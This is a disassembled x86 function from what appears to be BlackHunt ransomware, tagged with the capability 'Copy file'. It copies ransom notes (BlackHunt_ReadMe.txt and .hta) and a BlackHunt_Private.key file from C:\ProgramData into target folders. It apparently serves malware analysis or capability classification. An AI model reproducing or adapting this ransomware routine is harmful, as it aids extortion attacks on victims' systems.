Function at 0x405cd0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x479b08], 0
push ebx
push esi
mov ebx, ecx
push edi
mov dword [ebp - 4], ebx
je 0x405cf4
push str.DROP_INSTRUCTION
call fcn.00401d20
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
nop word [eax + eax]
push 0x3c4
push 8
push dword [0x47a330]
call edi
mov esi, eax
test esi, esi
je 0x405d00
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x445880
push esi
call ebx
push str.BlackHunt_ReadMe.txt
push esi
call ebx
push 0x44355c
push str.C:ProgramDataBlackHunt_ReadMe.txt
call fcn.00423e1c
add esp, 8
test eax, eax
je 0x405d4c
push eax
jmp 0x405d7c
push 0x444d7c
push str.C:ProgramDataBlackHunt_ReadMe.txt
call fcn.00423e1c
mov edi, eax
add esp, 8
test edi, edi
je 0x405f0f
push 0x4788f8
push 0x45194c
push edi
call fcn.00401ec0
add esp, 0xc
push edi
call fcn.0042400c
add esp, 4
push 0x44355c
push esi
call fcn.00423e1c
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileW]
add esp, 8
test eax, eax
je 0x405da7
push eax
call fcn.0042400c
add esp, 4
jmp 0x405db9
push 1
push esi
push str.C:ProgramDataBlackHunt_ReadMe.txt
call edi
test eax, eax
je 0x405f0f
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x445880
push esi
call ebx
push 0x451950
push esi
call ebx
push 0x44355c
push str.C:ProgramDataBlackHunt_ReadMe.hta
call fcn.00423e1c
add esp, 8
test eax, eax
je 0x405dec
push eax
jmp 0x405e37
push 0x444d7c
push str.C:ProgramDataBlackHunt_ReadMe.hta
call fcn.00423e1c
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
jne 0x405e21
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 4]
push str.DecryptNote_openfile_Failed_path_:__s____lu
call fcn.00401d20
add esp, 0xc
jmp 0x405f0f
push 0x46f460
push 0x45194c
push eax
call fcn.00401ec0
add esp, 0xc
push dword [ebp - 8]
call fcn.0042400c
add esp, 4
push 0x44355c
push esi
call fcn.00423e1c
add esp, 8
test eax, eax
je 0x405e5c
push eax
call fcn.0042400c
add esp, 4
jmp 0x405e6e
push 1
push esi
push str.C:ProgramDataBlackHunt_ReadMe.hta
call edi
test eax, eax
je 0x405f0f
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x445880
push esi
call ebx
push str.BlackHunt_Private.key
push esi
call ebx
push 0x44355c
push esi
call fcn.00423e1c
add esp, 8
test eax, eax
je 0x405ea5
push eax
call fcn.0042400c
add esp, 4
jmp 0x405f0f
push 0x44355c
push str.C:ProgramDataBlackHunt_Private.key
call fcn.00423e1c
add esp, 8
test eax, eax
je 0x405ed0
push eax
call fcn.0042400c
add esp, 4
push 1
push esi
push str.C:ProgramDataBlackHunt_Private.key
call edi
jmp 0x405f0f
push 0x44355c
push str.BlackHunt_Private.key
call fcn.00423e1c
add esp, 8
test eax, eax
je 0x405efb
push eax
call fcn.0042400c
add esp, 4
push 1
push esi
push str.BlackHunt_Private.key
call edi
jmp 0x405f0f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.PrivKey_NotFound___lu
call fcn.00401d20
add esp, 8
push esi
push 0
push dword [0x47a330]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [0x479b08], 0
je 0x405f34
push str.return_DROP_INSTRUCTION
call fcn.00401d20
add esp, 4
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret